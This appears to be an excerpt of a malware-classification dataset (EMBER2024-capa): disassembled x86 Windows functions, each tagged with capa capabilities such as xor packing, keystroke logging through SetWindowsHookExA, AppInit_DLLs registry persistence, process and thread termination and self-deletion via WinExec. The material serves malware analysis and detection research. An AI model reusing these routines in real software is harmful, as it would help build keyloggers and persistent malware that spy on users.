joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x7ce770ec
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x5375789e
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
nop
mov ecx, 0x7ca23724
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x323e3191
nop
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x402740
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebx
push esi
mov esi, eax
xor ebx, ebx
push 0x80
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
mov eax, esi
call fcn.00402710
test al, al
jne 0x402764
mov bl, 1
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x40276c
Capabilities:
Create process on windows
Set file attributes

Disassembly:
push ebx
push esi
add esp, 0xfffff9f8
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.00402710
cmp al, 1
jne 0x402963
push 1
call sub.kernel32.dll_Sleep
push 4
lea eax, [esp + 4]
push eax
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_RtlMoveMemory
call sub.user32.dll_GetForegroundWindow
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
call sub.kernel32.dll_GetCurrentProcessId
call sub.kernel32.dll_GetCurrentProcess
push 1
call sub.kernel32.dll_Sleep
call sub.user32.dll_GetForegroundWindow
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrlenA
call sub.kernel32.dll_GetTickCount
call sub.user32.dll_GetForegroundWindow
push 0
call sub.kernel32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
push 0x80
push esi
call sub.kernel32.dll_SetFileAttributesA
push 0x402970
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcpyA
call sub.kernel32.dll_GetTickCount
mov dword [esp], eax
push esp
push 0x402978
lea eax, [esp + 0xc]
push eax
call sub.user32.dll_wvsprintfA
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
push 0x40297c
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [esp + 0x104]
call fcn.00402740
cmp al, 1
jne 0x402963
push 0x402984
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x402990
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402998
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x40299c
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029a4
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029b4
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029bc
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029cc
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 1
lea eax, [esp + 0x210]
push eax
call sub.kernel32.dll_lstrlenA
mov ecx, eax
lea edx, [esp + 0x210]
lea eax, [esp + 0x10c]
call fcn.00402a0c
push 0
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_WinExec
mov bl, 1
mov eax, ebx
add esp, 0x608
pop esi
pop ebx
ret
Function at 0x402a0c
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402a7a
cmp byte [ebp + 8], 1
jne 0x402a5e
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402a6c
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402a8c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
mov dword [ebp - 4], edx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402aed
cmp byte [ebp + 8], 1
jne 0x402ad1
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402adf
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402b3c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push ebx
call sub.kernel32.dll_lstrlenA
push eax
push ebx
push 1
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402b7c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402e18
Capabilities:
Resolve dns

Disassembly:
push ebx
xor ebx, ebx
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x402e2c
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
mov eax, ebx
pop ebx
ret
Function at 0x40390c
Capabilities:
Enumerate threads
Terminate thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffe4
mov edi, esp
push 0
push 4
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [edi], 0x1c
push edi
push esi
call sub.kernel32.dll_Thread32First
mov ebx, eax
jmp 0x40397b
mov eax, dword [edi + 0xc]
cmp eax, dword [0x4066fc]
jne 0x40396b
mov eax, dword [edi + 8]
cmp eax, dword [0x406704]
je 0x40396b
mov eax, dword [edi + 8]
push eax
push 0
push 0x1f03ff
call sub.kernel32.dll_OpenThread
mov ebx, eax
push ebx
call sub.kernel32.dll_GetThreadPriority
cmp eax, 0xfffffff1
jne 0x40396b
push 0
push ebx
call sub.kernel32.dll_TerminateThread
push edi
push esi
call sub.kernel32.dll_Thread32Next
mov ebx, eax
push 1
call sub.kernel32.dll_Sleep_1
cmp ebx, 1
sbb eax, eax
inc eax
cmp al, 1
je 0x403930
push esi
call sub.kernel32.dll_CloseHandle_1
add esp, 0x1c
pop edi
pop esi
pop ebx
ret

Function at 0x404140
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0x406910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x4040e0
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x407228], eax
push 0
push 0x406910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x404100
push 7
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40722c], eax
ret

Function at 0x4041ac
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x4041b4
mov eax, dword [esp + 0x2000]
add esp, 0xfffffb84
push 0x404258
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404260
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrcatA_1
mov edx, esp
mov eax, dword [0x4066f8]
call fcn.00402684
lea eax, [esp + 0x400]
mov edx, 0x2080
call fcn.00402f98
push 0x40426c
lea eax, [esp + 0x404]
push eax
call sub.kernel32.dll_lstrcpyA_1
mov esi, 1
lea ebx, [esp + 0x400]
mov eax, ebx
xor edx, edx
call fcn.00402588
test eax, eax
jbe 0x404246
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
add ebx, 0x104
dec esi
jne 0x404224
add esp, 0x2480
pop esi
pop ebx
ret
Function at 0x404278
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebx
add esp, 0xfffffe00
mov ebx, esp
push 0x404390
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x407028
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x404398
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x406a14
mov ecx, 0x4043a8
mov edx, ebx
mov eax, 0x80000000
call fcn.00402b3c
push 0x4043ac
mov ecx, 0x4043b8
mov edx, ebx
mov eax, 0x80000000
call fcn.00402b3c
push 0x4043c8
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x406910
mov ecx, 0x407028
mov edx, ebx
mov eax, 0x80000002
call fcn.00402b3c
push 0x404410
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x406910
mov ecx, 0x404448
mov edx, ebx
mov eax, 0x80000002
call fcn.00402b3c
push 0x404458
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 1
mov ecx, 0x404490
mov edx, ebx
mov eax, 0x80000002
call fcn.00402b7c
push 1
mov ecx, 0x4044a0
mov edx, ebx
mov eax, 0x80000002
call fcn.00402b7c
push 0x4044ac
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x404508
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404510
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0
lea ecx, [esp + 0x104]
mov edx, ebx
mov eax, 0x80000002
call fcn.00402b7c
add esp, 0x200
pop ebx
ret
Function at 0x4030fa
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x40311a
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov dword [ebp - 0xc], edi
test edi, edi
jne 0x40312c
mov dword [ebp - 0xc], 0x78f6d8
mov eax, dword [ebp + 8]
test eax, eax
jl 0x403141
mov ecx, dword [0x7a8a98]
add ecx, eax
push ecx
call fcn.00403308
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.004032f2
test eax, eax
je 0x4032e0
test byte [ebp + 0x17], 0x80
je 0x40328b
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
and dword [0x40ce38], 0
and dword [ebp + 0x14], 0x7fffffff
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov byte [0x40ce20], 0xb
mov dword [ebp + 8], eax
jle 0x4032e8
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x403197
mov esi, dword [ebp + 0x14]
mov edi, 0x78b6d8
push esi
push edi
call fcn.004032f2
test eax, eax
je 0x4032e0
sub dword [ebp + 0x14], esi
mov dword [0x40ce10], edi
mov dword [0x40ce14], esi
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push 0x40ce10
mov dword [0x40ce18], edi
mov dword [0x40ce1c], eax
call fcn.0040679a
test eax, eax
mov dword [ebp - 0x14], eax
jl 0x403283
mov esi, dword [0x40ce18]
sub esi, edi
call ebx
test byte [0x7a8af4], 1
mov edi, eax
je 0x40323e
sub eax, dword [ebp - 0x10]
cmp eax, 0xc8
ja 0x403205
cmp dword [ebp + 0x14], 0
jne 0x40323e
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x94]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x94]
push eax
push 0
call fcn.004052c3
mov dword [ebp - 0x10], edi
test esi, esi
je 0x403277
cmp dword [ebp + 0x10], 0
jne 0x40325d
push esi
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call fcn.00405e03
test eax, eax
je 0x403287
add dword [ebp - 4], esi
jmp 0x40326b
mov eax, dword [0x40ce18]
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 4
jne 0x4031ba
jmp 0x4032e8
cmp dword [ebp + 0x14], 0
jg 0x40318a
jmp 0x4032e8
push 0xfffffffffffffffc
jmp 0x4032e2
push 0xfffffffffffffffe
jmp 0x4032e2
test edi, edi
jne 0x4032cd
cmp dword [ebp + 0x14], edi
jle 0x4032e8
mov ebx, dword [ebp - 8]
cmp dword [ebp + 0x14], ebx
mov esi, dword [ebp + 0x14]
jl 0x4032a1
mov esi, ebx
mov edi, 0x78b6d8
push esi
push edi
call fcn.004032f2
test eax, eax
je 0x4032e0
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405e03
test eax, eax
je 0x403287
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403297
jmp 0x4032e8
cmp dword [ebp + 0x14], esi
jge 0x4032d5
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.004032f2
test eax, eax
jne 0x4032e5
push 0xfffffffffffffffd
pop eax
jmp 0x4032eb
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x405792
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x4083f0
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x4083e0
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x4057e3
xor eax, eax
jmp 0x40580a
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x40580a
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
test eax, eax
jne 0x4057df
call esi
pop esi
leave
ret 4

Function at 0x405844
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x7a4f28], 0x44
push eax
xor eax, eax
push 0x7a4f28
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405883
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405887
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret 4

Function at 0x405925
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405d2c
mov edi, eax
cmp edi, 0xffffffff
je 0x405966
test byte [esp + 0x10], 1
push esi
je 0x405948
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x40594e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x405957
xor eax, eax
inc eax
jmp 0x405968
test byte [esp + 0x10], 4
jne 0x405966
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x40596d
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405c38
test bl, 8
mov dword [ebp - 8], eax
je 0x4059ac
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x7a8ac8], eax
jmp 0x405b29
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x4059c6
test eax, eax
je 0x405ad7
test bl, 2
je 0x405ad7
mov esi, 0x7a3f28
push edi
push esi
call fcn.0040625f
cmp dword [ebp + 8], 0
je 0x4059e5
push str..
push esi
call sub.KERNEL32.dll_lstrcatW
jmp 0x4059eb
push edi
call fcn.00405b7c
cmp word [edi], 0
jne 0x4059fb
cmp word [0x7a3f28], 0x5c
jne 0x405a06
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatW
push edi
call sub.KERNEL32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405acc
cmp word [ebp - 0x22c], 0x2e
jne 0x405a50
cmp word [ebp - 0x22a], 0
je 0x405aaf
cmp word [ebp - 0x22a], 0x2e
jne 0x405a50
cmp word [ebp - 0x228], 0
je 0x405aaf
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.0040625f
test byte [ebp - 0x258], 0x10
je 0x405a7b
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405aaf
push dword [ebp + 0xc]
push edi
call fcn.0040596d
jmp 0x405aaf
push dword [ebp - 4]
push edi
call fcn.00405925
test eax, eax
jne 0x405aa7
cmp dword [ebp - 4], eax
je 0x405a9f
push edi
push 0xfffffffffffffff1
call fcn.004052c3
push 0
push edi
call fcn.00406025
jmp 0x405aaf
inc dword [0x7a8ac8]
jmp 0x405aaf
push edi
push 0xfffffffffffffff2
call fcn.004052c3
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405a28
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405ad7
and word [ebx - 2], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405b29
cmp dword [ebp - 8], esi
jne 0x405aeb
inc dword [0x7a8ac8]
jmp 0x405b29
push edi
call fcn.004065a2
test eax, eax
je 0x405b29
push edi
call fcn.00405b30
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405925
test eax, eax
jne 0x405b21
cmp dword [ebp - 4], esi
je 0x405ae3
push edi
push 0xfffffffffffffff1
call fcn.004052c3
push esi
push edi
call fcn.00406025
jmp 0x405b29
push edi
push 0xffffffffffffffe5
call fcn.004052c3
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405c38
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x7a4728
push esi
call fcn.0040625f
push esi
call fcn.00405bdb
mov edi, eax
test edi, edi
jne 0x405c59
xor eax, eax
jmp 0x405cb1
push edi
call fcn.004064f3
test byte [0x7a8a3c], 0x80
je 0x405c76
mov ax, word [edi]
test ax, ax
je 0x405c55
cmp ax, 0x5c
je 0x405c55
sub edi, esi
sar edi, 1
jmp 0x405c90
call fcn.004065a2
test eax, eax
je 0x405c8a
test byte [eax], 0x10
je 0x405c55
push esi
call fcn.00405b7c
push esi
call sub.KERNEL32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405c7c
call fcn.00405b30
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405d2c
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405d4b
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405d51
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x405d80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a558]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40a55c]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x405dd0
test edi, edi
jne 0x405d8d
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x405dca
Function at 0x405eab
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test esi, esi
mov dword [0x7a55c0], 0x55004e
mov dword [0x7a55c4], 0x4c
mov edi, 0x400
mov ebp, 0x7a55c0
je 0x405f01
push 1
push 0
push esi
call fcn.00405d51
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x406020
cmp eax, edi
jg 0x406020
mov esi, 0x7a5dc0
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x406020
cmp eax, edi
jg 0x406020
push esi
push ebp
push str._ls_ls_r_n
push 0x7a51c0
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x7a8a34]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00406281
push 4
push 0xc0000000
push esi
call fcn.00405d51
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x406020
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x406019
push edi
push esi
push ebp
call fcn.00405dd4
test eax, eax
je 0x406019
push str._Rename__r_n
push esi
call fcn.00405cb6
test eax, eax
jne 0x405fb7
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x405fec
add eax, 0xa
push 0x40a560
push eax
call fcn.00405cb6
mov ebp, eax
test ebp, ebp
je 0x405fe8
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x405fd9
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x405fd3
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x405fee
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x7a51c0
push eax
call fcn.00405d0c
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00405e03
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x406025
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x406048
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405eab
pop ecx
pop ecx
inc dword [0x7a8ad0]
ret 8
Function at 0x40612d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x800
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004060cc
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x40619d
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and word [esi + 0x7fe], 0
test edi, edi
pop edi
jne 0x40619d
cmp dword [ebp + 0xc], 1
je 0x4061a1
cmp dword [ebp + 0xc], 2
je 0x4061a1
and word [esi], 0
pop esi
leave
ret 0x14